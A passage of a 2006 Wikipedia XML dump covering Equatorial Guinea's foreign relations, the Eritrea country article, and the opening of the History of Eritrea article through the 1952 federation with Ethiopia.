      <text xml:space="preserve">A transitional agreement, signed in October 1968, implemented a [[Spain|Spanish]] preindependence decision to assist [[Equatorial Guinea]] and provided for the temporary maintenance of Spanish forces there. A dispute with President Macias in 1969 led to a request that all Spanish troops immediately depart, and a large number of civilians left at the same time. Diplomatic relations between the two countries were never broken but were suspended by Spain in March 1977 in the wake of renewed disputes. After Macias' fall in 1979, President Obiang asked for Spanish assistance, and since then, Spain has regained influence in Equatorial Guinea's diplomatic relations. The two countries signed permanent agreements for economic and technical cooperation, private concessions, and trade relations. President Obiang made an official visit to Madrid in March 2001, and senior Spanish Foreign Ministry officials visited Malabo during 2001 as well. Spain maintained a bilateral assistance program in Equatorial Guinea. Some Equato-Guinean opposition elements are based in Spain to the annoyance of the government of Malabo.

Equatorial Guinea has cordial relations with neighboring Cameroon, although there was criticism in Cameroon in 2000 about perceived mistreatment of Cameroonians working in Equatorial Guinea. The majority Fang ethnic group of mainland Equatorial Guinea extends both north and south into the forests of [[Cameroon]] and [[Gabon]]. Cameroon exports some food products to Equatorial Guinea and imports oil from Equatorial Guinea for its refinery at nearby [[Limbe]].

Equatorial Guinea has warmer relations with [[Nigeria]], and the Nigerian President made an official visit to Malabo in 2001. The two countries have delineated their offshore borders, which will facilitate development of nearby gas fields. In addition, many Nigerians work in Equatorial Guinea, as do immigrants from Cameroon and some West African states.

Equatorial Guinea is member of the [[Central African Economic and Monetary]] Union (CEMAC), which includes Cameroon, [[Central African Republic]], [[Chad]], [[Congo (Brazzaville)]], and Gabon. It also is a member of the Franc zone. Parallel to the Equatoguinean rapprochement with its francophone neighbors, France's role has significantly increased following Equatorial Guinea's entry into the [[CFA Franc Zone]] and the [[BEAC]]. French technical advisers work in the finance and planning ministries, and agreements have been signed for infrastructure development projects.

In [[1995]], the [[United States|USA]] closed its embassy, ostensibly for budget reasons, though the ambassador of the time had been accused of witchcraft, and had criticised the human rights situation. In [[1996]], offshore oil began flowing, and, with several US oil companies present in the country, the US reopened the embassy in October [[2003]]. 

The government's official policy is one of nonalignment. In its search for assistance to meet the goal of national reconstruction, the Government of Equatorial Guinea has established diplomatic relations with numerous European and Third World Countries. Having achieved independence under UN sponsorship, Equatorial Guinea feels a special kinship with that organization. It became the 126th UN member on November 12, 1968. 

'''Disputes - international:'''
exclusive maritime economic zone boundary dispute with Cameroon is presently before the ICJ; maritime boundary dispute with Gabon because of disputed sovereignty over islands in Corisco Bay; maritime boundary dispute with Nigeria and Cameroon because of disputed jurisdiction over oil-rich areas in the Gulf of Guinea

:''See also :'' [[Equatorial Guinea]]

[[Category:Equatorial Guinea]]
[[Category:Foreign relations by country|Equatorial Guinea]]</text>
    </revision>
  </page>
  <page>
    <title>Eritrea</title>
    <id>9376</id>
    <revision>
      <id>42078009</id>
      <timestamp>2006-03-03T17:52:29Z</timestamp>
      <contributor>
        <username>Mark Dingemanse</username>
        <id>119869</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/216.20.33.7|216.20.33.7]] ([[User talk:216.20.33.7|talk]]) to last version by 69.76.15.30</comment>
      <text xml:space="preserve">:''This article is about the African nation. For the Greek city, see [[Eretria]].''


{| border=1 align=right cellpadding=4 cellspacing=0 width=300 style=&quot;margin: 0 0 1em 1em; background: #f9f9f9; border: 1px #aaaaaa solid; border-collapse: collapse; font-size: 95%;&quot;
|+&lt;big&gt;&lt;big&gt;ሃግሬ ኤርትራ&lt;br&gt;'''Hagere Ertra'''&lt;/big&gt;&lt;/big&gt;
|-
| style=&quot;background:#efefef;&quot; align=&quot;center&quot; colspan=2 |
{| border=&quot;0&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot;
| align=&quot;center&quot; width=&quot;130px&quot; | [[Image:Flag of Eritrea.svg|125px|Flag of Eritrea]]
| align=&quot;center&quot; width=&quot;130px&quot; | [[Image:Eritrea_COA-color.jpg|110px|Coat of Arms of Eritrea]]
|-
| align=&quot;center&quot; width=&quot;130px&quot; | ([[Flag of Eritrea|In Detail]])
| align=&quot;center&quot; width=&quot;130px&quot; | ([[Coat of Arms of Eritrea|In Detail]])
|}
|-
| align=&quot;center&quot; colspan=2 | &lt;small&gt;''[[National motto]]: &quot;Never Kneel Down&quot;''&lt;/small&gt;
|-
| align=center colspan=2 | [[image:LocationEritrea.png|Location of Eritrea]]
|-
| '''Working [[language]]s'''
| [[Tigrigna]], [[Arabic language|Arabic]] &lt;br&gt;and [[English language|English]]
|-
| '''[[Capital]]'''
| [[Asmara]]
|-
| '''[[President of Eritrea|President]]'''
| [[Isaias Afewerki]]
|-
| '''[[Area]]'''&lt;br /&gt;&amp;nbsp;- Total &lt;br /&gt;&amp;nbsp;- % water
| [[List of countries by area|Ranked 97&lt;sup&gt;th&lt;/sup&gt;]] &lt;br /&gt; 121,320 [[square kilometre|km&amp;sup2;]] &lt;br /&gt; Negligible
|-
| '''[[Population]]'''&lt;br /&gt;&amp;nbsp;- Estimated ([[2005]])&lt;br /&gt;&amp;nbsp;- Total ([[2002]])&lt;br /&gt;&amp;nbsp;- Density
| [[List of countries by population|Ranked 115&lt;sup&gt;th&lt;/sup&gt;]]&lt;br /&gt; 4,561,599&lt;br /&gt; 4,298,269&lt;br /&gt; 38/km&amp;sup2; ([[List of countries by population density|135&lt;sup&gt;th&lt;/sup&gt;]])
|-
| '''[[List of countries by GDP (nominal)|GDP]] [[Purchasing power parity|(PPP)]]'''&lt;br /&gt;&amp;nbsp;- Total&lt;br /&gt;&amp;nbsp;- Per capita&lt;br /&gt;
| 2005 estimate&lt;br /&gt; 4,250 ([[List of countries by GDP (nominal)|155&lt;sup&gt;th&lt;/sup&gt;]]) &lt;br /&gt;917 ([[List of countries by GDP per capita|177&lt;sup&gt;th&lt;/sup&gt;]])
|-
|'''[[Human Development Index|HDI]]''' ([[2003]]) || 0.444 ([[List of countries by Human Development Index|161&lt;sup&gt;st&lt;/sup&gt;]]) – &lt;font color=&quot;#E0584E&quot;&gt;low&lt;/font&gt;
|-
| '''[[Independence]]'''&lt;br /&gt;&amp;nbsp;- Limited&lt;br /&gt;&amp;nbsp;- Fully
| From [[Ethiopia]]&lt;br /&gt;&amp;nbsp;[[May 29]], [[1991]]&lt;br /&gt;&amp;nbsp;[[May 24]], [[1993]]
|-
| '''[[Currency]]'''
| [[Eritrean nakfa|Nakfa]]
|-
| '''[[Time zone]]'''
| [[Coordinated Universal Time|UTC]] +3
|-
| '''[[National anthem]]'''
| ''[[Ertra, Ertra, Ertra]]''
|-
| '''[[Top-level domain|Internet TLD]]'''
| [[.er]]
|-
| '''[[List of country calling codes|Calling Code]]'''
| 291
|}
The '''State of Eritrea''', or '''Eritrea''' (from the [[Italian language|Italian]] form of the [[Greek language|Greek]] name &amp;#917;&amp;#929;&amp;#933;&amp;#920;&amp;#929;&amp;#913;&amp;#921;&amp;#913; (''Erythraîa''; see also [[List of traditional Greek place names]]), which derives from the Greek name for the [[Red Sea]]), is a country in [[east Africa|northeast Africa]]. It is bordered by [[Sudan]] in the west, [[Ethiopia]] in the south, and [[Djibouti]] in the southeast. The east and northeast of the country has an extensive coastline with the Red Sea. Having achieved independence on [[May 24]], [[1993]] from [[Ethiopia]], it is one of the youngest independent states.

== History ==
''Main article: [[History of Eritrea]]''


Eritrea's coastal lowlands had been ruled by many powers before it was [[colonialism|colonised]] by the [[Italy|Italians]] in [[1885]].  Previously, the coast was long occupied by the [[Ottoman Empire|Ottoman]] [[Turkey|Turks]], who then left it to their [[Egypt]]ian heirs in the mid [[19th century]].  The interior, particularly the [[Christian]] (predominantly [[Coptic Christianity | Coptic]]) Kebessa Highlands of [[Hamasien]], [[Akale Guzai]], and [[Serai]], were traditionally loosely associated with [[Ethiopia]].  An Italian [[Roman Catholic]] priest by the name of [[Sapetto]] purchased the port of [[Assab]] from the [[Afar Sultan]] (a vassal of the [[Emperor of Ethiopia]]) on behalf of an Italian commercial conglomerate.  Later, as the Egyptians retreated out of Sudan during the [[Mahdist rebellion]], the [[United Kingdom|British]] brokered an agreement whereby the Egyptians could retreat through [[Ethiopia]], and in exchange they would allow the Emperor to occupy those lowland districts that he had disputed with the Turks and Egyptians.  Emperor [[Yohannis IV]] believed this included [[Massawa]], but instead, the port was handed by the Egyptians and the British to the Italians, who united it with the already colonised port of Asab to form a coastal Italian possession.  The Italians took advantage of disorder in northern Ethiopia following the death of Emperor [[Yohannis IV]] to occupy the highlands, and established their new colony, henceforth known as Eritrea, and achieved recognition by Ethiopia's new Emperor [[Menelik II]].

The Italians remained the colonial power in Eritrea until they were defeated by Allied forces in [[World War II]] ([[1941]]), and Eritrea became a [[British protectorate]]. After the war, the [[United Nations]], after a lengthy inquiry in which those who wanted union with Ethiopia and those who wanted independence lobbied the great powers and the [[United Nations|U.N.]] extensively, eventually reached a compromise that the former Italian colony was to join [[Ethiopia]] as part of a [[federation]].  Eritrea would have its own [[parliament]] and administration, and would be represented in the Ethiopian parliament which would function as the Federal Parliament.  The Emperor of Ethiopia, Emperor [[Haile Selassie]], would be the [[monarch]] of Eritrea and would be represented there by a [[viceroy]].  Both unionists and pro-independence people found the federation to be undesirable. By a show of military force in the Eritrean Parliament the federation was dissolved by Ethiopia.  The Emperor agreed readily and annexed Eritrea in [[1960]] even over the serious reservations of his Prime Minister, [[Aklilu Habte-Wold]], who was ardently in favor of retaining the federation.  Promptly, pro-independence Eritreans went into rebellion and launched a long war of independence.  They were joined by disaffected federationists who now were convinced Eritrea would be better off as an independent state. The war would last 30 years.

The war of Eritrean Independence would escalate considerably after the overthrow of the Ethiopian monarchy in [[1974]], when a hardline [[Marxism|Marxist]] military junta known as the [[Derg]] seized power, and launched a major offensive in Eritrea.  The brutality of the government of dictator [[Mengistu Haile Mariam]] did much to increase the numbers of the independence movements supporters to the point that Eritreans became almost exclusively pro-independence by the mid-[[1980s]].

The liberation struggle was dominated by two movements, the [[Eritrean Liberation Front]] (ELF), often refered to as &quot;Jebha&quot;, and by the [[Eritrean People's Liberation Front]] (EPLF), often known as &quot;Shaebia&quot;.  The ELF was dominated by [[Muslim]] lowlanders, and was a conservative grass roots movement, whereas the EPLF was dominated by highlanders of Christian background, professing [[Marxism-Leninism]].  The ELF received backing from the more conservative Arab governments, whereas the EPLF from the more leftist ones, and some [[Eastern bloc]] countries which abandoned it in favor of the Derg regime in Ethiopia upon the Ethiopian revolution.  The ELF and EPLF made attempts to consolidate their operations, but soon found that they could not work together. The ELF was eventually overshadowed and eliminated by the EPLF.

The long war ended in [[1991]], when joint Eritrean and rebellious Ethiopian forces defeated the Ethiopian army, and the Derg regime fell. Two years later, after a [[referendum]], Eritrean independence was declared.  The leader of the EPLF, [[Isaias Afewerki]], became Eritrea's first Provisional [[President]].  The Eritrean Peoples Liberation front (EPLF or Shaebia), became the sole legal ruling party, and changed its name to the [[People's Front for Democracy and Justice]] (PFDJ).  

In [[1998]], a border war with [[Ethiopia]] resulted in the deaths of some 70,000 people from both countries, and subjected Eritrea to significant economic and social stresses, including massive population displacement, reduced economic development, and one of [[Africa]]'s more severe [[land mine|landmine]] problems.  The Ethiopian government, once firm allies of the Eritrean authorities, expelled large numbers of Eritreans and Ethiopians of Eritrean heritage from Ethiopia at the outset of the war.  These once-prosperous people found themselves suddenly dispossessed and dropped off in the border zone between the two countries, adding to the serious displaced-persons problem.  

In spite of initially promising economic and political strides, the Eritrean government cracked down on the free press and on opposition in 2001 when questions about the conduct of the war were raised.  The government also failed to implement the new [[Constitution]] and to hold long-promised elections. Later, the government of Eritrea enforced the Italian colonial practice of requiring government approval of all practiced religions.

The [[Eritrean-Ethiopian War]] ended in [[2000]] with a negotiated agreement known as the [[Algiers Agreement]].  One of the terms of the agreement was the establishment of a UN peacekeeping operation, known as the [[United Nations Mission in Eritrea and Ethiopia]] ([[UNMEE]]); over 4,000 UN peacekeepers remain as of [[August 2004]].  Another term of the Algiers Agreement was the establishment of a final demarcation of the disputed border area between Eritrea and Ethiopia.  An independent, UN-associated boundary commission known as the Eritrea-Ethiopia Boundary Commission (EEBC), after extensive study, issued a final border ruling in [[April 2002]]. Ethiopia initially rejected the decision, but in November of 2004 said that it agreed to the border ruling &quot;in principle.&quot; However, Ethiopia has massed some troops along the nations' border, but no widespread hostilities have erupted..

== Politics ==
''Main article: [[Politics of Eritrea]]''

The National Assembly of 150 seats, formed in [[1993]] shortly after independence, elected the current president, [[Isaias Afewerki]].  National elections have been periodically scheduled and cancelled.  Independent local sources of political information on Eritrean domestic politics are scarce; in [[September 2001]] the government closed down all of the nation's privately owned print [[media]], and outspoken critics of the government have been arrested and held without trial, according to various international observers, including [[Human Rights Watch]] and [[Amnesty International]].  In 2004 the [[United States Department of State|U.S. State Department]] declared Eritrea a [[Country of Particular Concern]] (CPC) for its alleged record of religious [[persecution]] (see below).

External issues include the border conflict with Ethiopia and the Sudan. After a high-level delegation to the Sudan from the Eritrean Ministry of Foreign Affairs ties are being normalized. The conflict with Ethiopia remains of primary concern and the stalemate has led the President to urge the UN to take action. Central to the continuation of the stalemate has to do with Ethiopia's inability to abide by the border demarcation ruling. This request is outlined in the [[Wikisource:Eleven Letters|Eleven Letters]] penned by the President. The situation is further escalated by the continued effort of the Eritrean and Ethiopian leaders in supporting each other's opposition.

Eritrean National elections were set for 1997 and then postponed until 2001, it was then decided that because 20% of Eritrea's land was under occupation that elections would be postponed until the resolution of the conflict with Ethiopia. Local elections have continued in free Eritrea. The most recent round of local government elections were held in May 2003. On further elections, the President's Chief of Staff, Yemane Ghebremeskel said, 

:&quot;''The electoral commission is handling these elections this time round so that may be the new element in this process. The national assembly has also mandated the electoral commission to set the date for national elections, so whenever the electoral commission sets the date there will be national elections. It’s not dependent on regional elections, although that might be a very helpful process.''

:''Multipartyism, in general principle yes, it is there but the law on political parties has to be approved by the national assembly. It was not approved the last time. The view from the beginning was that you don’t necessarily need a party law to hold national elections. You can have national elections and the party law can be adopted at any time. So in terms of commitment it’s very clear, in terms of the process it has its own pace, its own characteristics.''&quot;[http://www.shaebia.org/cgi-bin/artman/exec/view.cgi?archive=9&amp;num=2618&amp;printer=1 shaebia.org]

== Regions ==
[[Image:Eritrea regions numbered.png|thumb|[[Regions of Eritrea]]]]
''Main article: [[Regions of Eritrea]]''

Eritrea is divided into 6 regions:

# [[Central Region, Eritrea|Central]] (Maekel)
# [[Southern Region, Eritrea|Southern]] (Debub)
# [[Gash-Barka Region, Eritrea|Gash-Barka]]
# [[Anseba Region, Eritrea|Anseba]]
# [[Northern Red Sea Region, Eritrea|Northern Red Sea]] (Semienawi-Keih-Bahri)
# [[Southern Red Sea Region, Eritrea|Southern Red Sea]] (Debubawi-Keih-Bahri)

== Geography ==
''Main article: [[Geography of Eritrea]]''
[[Image:Er-map.gif|right]]

Eritrea is located in the [[Horn of Africa]] and is bordered on the northeast and east by the [[Red Sea]]. The country is virtually bisected by the world's longest mountain range, the [[Great Rift Valley]], with fertile lands to the west and the descent to desert in the East. Off the sandy and arid coastline is situated the [[Dahlak Archipelago]] and its fishing grounds. The land to the south, in the highlands, is slightly less dry and cooler. Eritrea at the southern end of the Red Sea is the home of the fork in the rift. The [[Afar Triangle]] or Danakil Depression of Eritrea is the probable location of a [[triple junction]] where three tectonic plates are pulling away from one another: the Arabian Plate, and the two parts of the African Plate (the Nubian and the Somalian) splitting along the East African Rift Zone (USGS). The highest point of the country, [[Soira]], is located in the centre of Eritrea, at 3018 m above sea level.

The main cities of the country are the capital city of [[Asmara]] and the port town of [[Assab]] in the southeast, as well as the towns of [[Massawa]] and [[Keren]].

== Economy ==
''Main article: [[Economy of Eritrea]]''

Since independence from [[Ethiopia]], Eritrea has faced the economic problems of a small, desperately poor country. Like the economies of many [[Africa]]n nations, the economy is largely based on subsistence [[agriculture]], with 80% of the population involved in farming and herding. 

The Ethiopia-Eritrea war severely hurt Eritrea's economy. [[Gross Domestic Product|GDP]] growth in [[1999]] fell to less than 1%, and GDP decreased by 8.2% in [[2000]]. The May 2000 Ethiopian offensive into northern Eritrea caused some $600 million in property damage and loss, including losses of $225 million in [[livestock]] and 55,000 homes. The attack prevented planting of crops in Eritrea's most productive region, causing food production to drop by 62%.

Even during the war, Eritrea developed its transportation [[infrastructure]], asphalting new roads, improving its ports, and repairing war-damaged roads and bridges. Eritrea's economic future remains mixed. The cessation of Ethiopian trade, which mainly used Eritrean ports before the war, leaves Eritrea with a large economic hole to fill. Eritrea's economic future depends upon its ability to master fundamental social problems like [[illiteracy]], [[unemployment]], and low skills, and to convert its diaspora money and expertise into economic growth.

== Demographics ==
''Main article: [[Demographics of Eritrea]]''
[[Image:Eritrea demography.png|thumb|Population 1993-2003]]
Eritrea's two main ethnic groups are the [[Tigrigna]], who represent about half of the population, and the [[Tigre language|Tigre]], who are about 40%. The remaining people are the [[Kunama]], [[Afar (ethnicity)|Afar]], [[Bilen]], [[Hidareb]], [[Nara]], [[Rashaida]], and [[Saho]]. The local [[Tigrigna]] and the wider [[Arabic language|Arabic]] language are the two predominant languages for official purposes, but [[English language|English]] and [[Italian language|Italian]] are also spoken.

[[Dahlik language|Dahlik]] is a newly discovered language spoken on the [[Dahlak Archipelago]].

==Religion==
The dominant religions are [[Christianity]] and [[Islam]], each group representing roughly 50% of the population. The Christians consist primarily of the [[Eritrean Orthodox Tewahdo Church]], which is the local [[Oriental Orthodox]] church, but small groups of [[Roman Catholic]]s, [[Protestant]]s, and other religions also exist.

Members of the Eritrean Orthodox Church are sometimes described as [[Coptic Christianity|Coptic Christians]] because the hierarchy of that church was formerly subject to that of the Tawahido Church of [[Ethiopia]], which was in turn formerly (before [[1950]]) subject to the Coptic Pope. However, the word ''Coptic'' in modern usage refers primarily to the [[Coptic Christian|Egyptian Orthodox]] branch of Christianity. The Eritrean and Ethiopian Orthodox churches are still in [[full communion]] with the Coptic Church in Egypt. In 1993 the [[Eritrean Orthodox Church]] was granted [[autocephaly]], and in 1998 the Archbishopric of [[Asmara]], the young nation's capital, was elevated to the rank of patriarchate, within the Oriental Orthodox church. 

The vast majority of Muslims in Eritrea are [[Sunni]].

Since May [[2002]], the government of Eritrea only officially recognizes the Eritrean Orthodox Church, [[Islam]], [[Catholic]] and Evangelical [[Lutheran]] churches. All other faiths have been banned and harsh measures have been taken against their adherents. Other religions like [[Jehovah's Witnesses]] are not registered and cannot worship freely. Several Orthodox priests, dozens of Protestant pastors and thousands of church members have been arrested.

The government's registration system requires religious groups to submit personal information in order to be allowed to [[worship]]. As of 2005, a number of [[refugee]]s have been fleeing the country to [[Kenya]], [[Ethiopia]], [[Sudan]] and [[Northeast Africa|beyond]] because of this lack of freedom and given the large number of [[Political prisoner|prisoner]]s of [[conscience]].  

See also [[Eritrean Orthodox Church]].

== Culture ==
[[Image:Alicha 1.jpg|thumb|Cuisine of Eritrea is very rich. Here, the typical ''Alicha Begie'' and chicken on injera, the local bread]]

:''Main article: [[Culture]] of Eritrea''&lt;!--Please be mindful of the talk page discussions that have determined this template's appearance.--&gt;&lt;noinclude&gt;&lt;/noinclude&gt;
*[[Cuisine of Eritrea]]
*[[Music of Eritrea]]

== Miscellaneous topics ==
* [[Communications in Eritrea]]
* [[Foreign relations of Eritrea]]
* [[List of Eritreans]]
* [[Military of Eritrea]]
* [[Music of Eritrea]]
* [[Transportation in Eritrea]]
** [[Eritrean Railway]]
* [[Zula]]

==Further reading==
* [http://eri24.com/Article_10045.htm Student-centered education is the best way of learning]
* [http://eri24.com/Article_10043.htm Response to remarks by Mr. David Triesman, Britain's parliamentary under-secretary of state with responsibility for Africa]
* [http://eri24.com/Article_10031.htm Eritrea-Ethiopia versus western nations]
* Conversations with Eritrean Political Prisoners by Dan Connell (Paperback - January 15, 2004) 
* Against All Odds: A Chronicle of the Eritrean Revolution With a New Afterword on the Postwar Transiton by Dan Connell (Paperback - January 15, 2004) 
* The Eritrean Struggle for Independence : Domination, Resistance, Nationalism, 1941-1993 by Ruth Iyob, et al (Paperback - May 13, 1997) 
* James Firebrace &amp; Stuart Holand, ''Never Kneel Down: Drought, Development and Liberation in Eritrea''
* Jordan Gebre-Medhin, ''Peasants and Nationalism in Eritrea''
* Lionel Cliffe &amp; Basil Davidson, ''The Long Struggle of Eritrea for Independence and Constructive Peace''
* Michela Wrong (2005), ''I Didn't Do It For You: how the world betrayed a small African nation'', Fourth Estate
* Roy Pateman, ''Eritrea: Even the Stones Are Burning''
* Rethinking Revolution: New Strategies for Democracy &amp; Social Justice : The Experiences of Eritrea, South Africa, Palestine &amp; Nicaragua, by Dan Connell (Paperback - October 2001) 
* Building a New Nation: Collected Articles on the Eritrean Revolution (1983-2002)by Dan Connell (Hardcover - May 30, 2005) 
* Taking on the Superpowers: Collected Articles on the Eritrean Revolution (1976-1982)by Dan Connell, et al (Hardcover - April 30, 2005)
* Unfinished Business: Ethiopia and Eritrea at war. Dominique Jacquin-Berdal and Martin Plaut, eds. (Red Sea Press, Paperback 2005)

==External links==

===Human Rights===
{{sisterlinks|Eritrea}}
* [http://web.amnesty.org/library/eng-eri/news Amnesty International] Eritrea

===Government===
*[http://shabait.com/ Shabait] The State of Eritrea Ministry of Information
*[http://www.shaebia.org Shaebia:] PFDJ's Official party website.
*[http://eritrea.embassyhomepage.com/ Eritrean Embassy in London] government information and links

===Eritrean Websites===
*[http://news.asmarino.net/ Asmarino News:] From California
*[http://beilul.com/ Beilul Eritrean Youth Web site:] From Scandinavia
*[http://alenalki.com/ Alenalki Eritrean Web site:] From Europe
*[http://dehai.org Dehai] news mailing list archive (Public forum)
*[http://eri24.com/ Eritrean News wire]
*[http://ertra.com/ Ertrean news] from USA
*[http://allafrica.com/eritrea/ AllAfrica.com - ''Eritrea''] news headline links
*[http://dimtsi.com Dimtsi Eritrea News Services]

===Other Web Sites===
*[http://home.planet.nl/~hans.mebrat/ Eritrea:] Hans van der Splinter's very comprehensive site about Eritrea, his wife's homeland
*[http://www.erisound.com EriSound:] Live 24/7 Eritrean music.
*[http://www.eritreancommunity.com EritreanCommunity.com:] Eritrean Radio, Photo Gallery, Forum, News, Chat.
*[http://www.emdhr.org Eritrean Movement for Democracy and Human Rights] South African community-based civic organization

===Overviews===
*[http://news.bbc.co.uk/1/hi/world/africa/country_profiles/1070813.stm BBC News Country Profile - ''Eritrea'']
*[http://www.cia.gov/cia/publications/factbook/geos/er.html CIA World Factbook - ''Eritrea'']
*[http://www.nationsencyclopedia.com/Africa/Eritrea.html Encyclopedia of the Nations - ''Eritrea'']
* [http://www.state.gov/p/af/ci/er/ US State Department - ''Eritrea''] includes Background Notes, Country Study and major reports

===Directories===
*[http://yellowpages.eryp.com International Eritrean Yellowpages]
*[http://www.columbia.edu/cu/lweb/indiv/africa/cuvl/Eritrea.html Columbia University Libraries - ''Eritrea''] directory category of the WWW-VL
*[http://dmoz.org/Regional/Africa/Eritrea/ Open Directory Project - ''Eritrea''] directory category
*[http://www-sul.stanford.edu/depts/ssrg/africa/eritrea.html Stanford University - Africa South of the Sahara: ''Eritrea''] directory category

===Tourism===
*{{wikitravel}}

{{Africa}}


[[Category:1993 establishments]]
[[Category:African Union member states]]
[[Category:Eritrea|*]]
[[Category:Former Italian colonies]]
[[Category:East Africa]]

[[af:Eritrea]]
[[am:ኤርትራ]]
[[ang:Eritrea]]
[[ar:إريتريا]]
[[an:Eritrea]]
[[bg:Еритрея]]
[[zh-min-nan:Eritrea]]
[[be:Эрытрэя]]
[[bs:Eritreja]]
[[ca:Eritrea]]
[[cs:Eritrea]]
[[da:Eritrea]]
[[de:Eritrea]]
[[et:Eritrea]]
[[es:Eritrea]]
[[eo:Eritreo]]
[[eu:Eritrea]]
[[fa:اریتره]]
[[fr:Érythrée]]
[[gd:Eritrea]]
[[gl:Eritrea - ኤርትራ]]
[[ko:에리트레아]]
[[ht:Eritre]]
[[hr:Eritreja]]
[[io:Eritrea]]
[[id:Eritrea]]
[[ia:Eritrea]]
[[is:Erítrea]]
[[it:Eritrea]]
[[he:אריתריאה]]
[[sw:Eritrea]]
[[ku:Erître]]
[[la:Erythraea]]
[[lv:Eritreja]]
[[lt:Eritrėja]]
[[li:Eritrea]]
[[hu:Eritrea]]
[[ms:Eritrea]]
[[na:Eritrea]]
[[nl:Eritrea]]
[[nds:Eritrea]]
[[ja:エリトリア]]
[[no:Eritrea]]
[[nn:Eritrea]]
[[pl:Erytrea]]
[[pt:Eritreia]]
[[ro:Eritreea]]
[[ru:Эритрея]]
[[sa:एरिट्रिया]]
[[sq:Eritrea]]
[[simple:Eritrea]]
[[sk:Eritrea]]
[[sl:Eritreja]]
[[sr:Еритреја]]
[[fi:Eritrea]]
[[sv:Eritrea]]
[[tl:Eritrea]]
[[ti:ኤርትራ]]
[[tr:Eritre]]
[[uk:Еритрея]]
[[zh:厄立特里亚]]</text>
    </revision>
  </page>
  <page>
    <title>History of Eritrea</title>
    <id>9377</id>
    <revision>
      <id>41844060</id>
      <timestamp>2006-03-02T02:40:39Z</timestamp>
      <contributor>
        <username>Yom</username>
        <id>713855</id>
      </contributor>
      <comment>/* Early history */</comment>
      <text xml:space="preserve">{{unref}}
Eritrea is an ancient name, associated in the past with its [[Greek language|Greek]] form '''Erythraía''' ([[Greek alphabet]] '''&amp;#917;&amp;#961;&amp;#965;&amp;#952;&amp;#961;&amp;#945;&amp;#943;&amp;#945;'''), and its derived [[Latin]] form '''Erythræa'''.  In the past, Eritrea had given its name to the [[Red Sea]], then called the ''Erythræan Sea''.

[[Eritrea]] officially celebrated its independence on [[May 24]], [[1993]].

== Early history ==
Central areas of Eritrea and most tribes in today's northern Ethiopia share a common background in the [[kingdom of Axum]] of the first millennium (as well as the first millenium BC kingdom of [[D’mt]]), and in its Oriental-Orthodox christian church, [[Tewahedo]], as well as in its [[Ge'ez]] language. Around 90% of today Eritreans speak languages ([[Tigrinya]] and [[Tigre language|Tigre]]) that are closely related to the now-extinct Geez language - as do Tigrinya-speakers in northern Ethiopia and Amharic-speakers of Ethiopia.

Eritrea's highlands tended to be part of Ethiopian feudal politics in most of the second millennium. Various sorts of warlords of [[Tigray]] held sway also in parts of today Eritrea, as they ruled parts of today northern Ethiopia. However, there also existed traditions of self-rule of districts that now are in Eritrea, notably the so-called republic of [[Hamasien]]. A reader should understand that those times were the era of feudalism, and nation-states were unknown, as borders of feudal possessions changed rather rapidly.

Eritrean areas were no more saved from Muslim invasions than Ethiopia, either. Particularly the coastline and other lowlands received conquerors, islamization and also speakers of the Arab language.

== Italian colonization ==

Prior to [[Italy|Italian]] colonization in [[1885]], what is now Eritrea had been part of Ethiopia as the province Medri Bahri ([[Tigrinya language|Tigrigna]] for Sealand), though [[Massawa|Mitsiwa]] and some other portions had at times been ruled by the various local or international powers that successively dominated the [[Red Sea]] region. 

The boundaries of modern Eritrea were established during the period of Italian colonization that began in the late 1800s. An Italian shipping company, Rubatinno Shipping, purchased the port of Assab from a local ruler. In turn, the Italian government took over the port in 1882, hoping to use Eritrea as a launching point for the colonization of Ethiopia. In [[1896]], the Italians used Eritrea as a springboard for their disastrous attempt to conquer [[Ethiopia]]. 

The Italian presence in the [[Horn of Africa]] was formalized in 1889 with the signing of the [[Treaty of Wuchale]] with [[Emperor Menelik II of Ethiopia]] (r. 1889–1913), although Menelik would later renounce the agreement. For the next half-century, relations between Ethiopia and Italy, despite intermittent diplomatic agreements, were strained by repeated Italian efforts to expand their colonial base into [[Somali]] territory and Ethiopia, most notably in 1896, when Ethiopia defeated the Italian army in [[Tigray]]. Italian administration of Eritrea brought improvements in the medical and agricultural sectors of Eritrean society. Furthermore, the Italians employed many Eritreans in public service (in particular in the police and public works departments) and oversaw the provision of urban amenities in [[Asmara]] and [[Massawa]]. In a region marked by cultural, linguistic, and religious diversity, a succession of Italian governors maintained a notable degree of unity and public order. [[Benito Mussolini]]’s rise to power in Italy in [[1922]] brought profound changes to the colonial government in Eritrea. The [[Fascists]] imposed harsh rule that stressed the political and racial superiority of Italians. Segregation was established, and Eritreans were demoted to menial
positions in the public sector. Although [[Rome]] continued to implement agricultural reforms, these took place largely on farms owned by Italian colonists. The Fascist dictatorship regarded the colony as a strategic base for future aggrandizement and ruled accordingly. True to form, Italy used Eritrea as a base from which to launch its 1935–36 campaign to colonize Ethiopia. 

Eritrea was placed under [[British Empire|British]] military administration after the Italian surrender in [[World War II]].

== British administration and federalization ==
Although Italian colonization in the late nineteenth and early twentieth centuries gave Eritrea its boundaries, Eritrean separatism as a political goal had its roots in World War II. British forces defeated the Italian army in Eritrea in 1941 at the [[Battle of Keren]] and placed the colony under British military administration until [[Allied forces]] could determine its fate. Absent agreement among the Allies about the status of Eritrea, British administration continued for the remainder of World War II and into [[1950]]. In the immediate postwar years, the British proposed that Eritrea be divided along religious lines and parceled off to [[Sudan]] and Ethiopia. The [[Soviet Union]], anticipating a [[communist]] victory in the Italian polls, initially supported returning Eritrea to Italy under trusteeship or as a colony. Arab states, seeing Eritrea and its large Muslim population as an extension of the Arab world, sought the establishment of an independent state. 

In the absence of Allied agreement, and in the face of Eritrean demands for self-determination, a [[United Nations]] (UN) commission was dispatched to the former colony in February 1950 in the hope of finding a solution. The commission proposed the establishment of some form of association with Ethiopia, and the UN General Assembly adopted that proposal along with a provision terminating British administration of Eritrea no later than September 15, 1952. The British, faced with a deadline for leaving, held elections on March 16, 1952, for a representative Assembly of 68 members, evenly divided between Christians and Muslims. This body in turn accepted a draft constitution put forward by the UN commissioner on July 10. On September 11, 1952, Emperor Haile Selassie of Ethiopia (r. 1930–74) ratified the constitution. The Representative Assembly subsequently became the Eritrean Assembly. In [[1952]], the United Nations resolution to federate Eritrea with Ethiopia went into effect. The resolution ignored Eritrean pleas for independence, but guaranteed Eritreans some democratic rights and a measure of autonomy. Almost immediately after the federation went into effect, however, these rights began to be abridged or violated.

